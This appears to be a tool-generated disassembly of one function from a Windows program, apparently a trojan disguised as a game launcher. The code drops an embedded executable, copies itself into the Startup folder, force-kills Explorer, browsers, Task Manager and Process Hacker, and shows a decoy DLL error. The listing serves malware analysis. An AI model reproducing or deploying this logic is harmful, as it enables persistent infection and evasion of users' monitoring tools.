Function at 0x4016c4
Capabilities:
Execute command

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x158
mov dword [ebp - 0x134], dbg.__gxx_personality_sj0
mov dword [ebp - 0x130], 0x50fdec
lea eax, [ebp - 0x12c]
mov dword [eax], ebp
mov edx, 0x401905
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x14c]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call sym.___main
lea eax, [ebp - 0x114]
mov dword [esp + 4], 4
mov dword [esp], str.launcher.exe
mov dword [ebp - 0x148], 0xffffffff
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x114]
mov dword [esp + 4], 0xa137
mov dword [esp], 0x513040
mov dword [ebp - 0x148], 1
mov ecx, eax
call dbg.std::ostream::write(char const*, int)
sub esp, 8
lea eax, [ebp - 0x114]
mov ecx, eax
call dbg.std::basic_ofstream<char, std::char_traits<char> >::close()
mov dword [esp + 4], str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupmain.exe
mov dword [esp], str.main.exe
call sym.copyFile_char_const__char_const_
mov dword [esp + 4], str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartuplauncher.exe
mov dword [esp], str.launcher.exe
call sym.copyFile_char_const__char_const_
mov dword [esp], str.taskkill__f__im_hl2.exe
call sym._system
mov dword [esp], str.taskkill__f__im_browser.exe
call sym._system
mov dword [esp], str.taskkill__f__im_explorer.exe
call sym._system
mov dword [esp], str.taskkill__f__im_chrome.exe
call sym._system
mov dword [esp], str.taskkill__f__im_firefox.exe
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sym._system
mov dword [esp], str.taskkill__f__im_ProcessHacker.exe
call sym._system
mov dword [ebp - 0x1c], 0
jmp 0x401867
mov dword [esp], str.taskkill__f__im_hl2.exe
mov dword [ebp - 0x148], 1
call sym._system
mov dword [esp], str.taskkill__f__im_browser.exe
call sym._system
mov dword [esp], str.taskkill__f__im_explorer.exe
call sym._system
mov dword [esp], str.taskkill__f__im_chrome.exe
call sym._system
mov dword [esp], str.taskkill__f__im_firefox.exe
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sym._system
mov dword [esp], str.taskkill__f__im_ProcessHacker.exe
call sym._system
mov dword [esp], str.start_launcher.exe
call sym._system
add dword [ebp - 0x1c], 1
mov dword [ebp - 0x1c], 0x186a0
cmp dword [ebp - 0x1c], 0
setne al
test al, al
jne 0x4017f9
mov dword [esp], str.taskkill__f__im_hl2.exe
mov dword [ebp - 0x148], 1
call sym._system
mov dword [esp], str.taskkill__f__im_browser.exe
call sym._system
mov dword [esp], str.taskkill__f__im_explorer.exe
call sym._system
mov dword [esp], str.taskkill__f__im_chrome.exe
call sym._system
mov dword [esp], str.taskkill__f__im_firefox.exe
call sym._system
mov dword [esp], str.taskkill__f__im_taskmgr.exe
call sym._system
mov dword [esp], str.taskkill__f__im_ProcessHacker.exe
call sym._system
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Launcher_Error
mov dword [esp + 4], str.Failed_to_load_Launcher_DLL_n_n
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x401879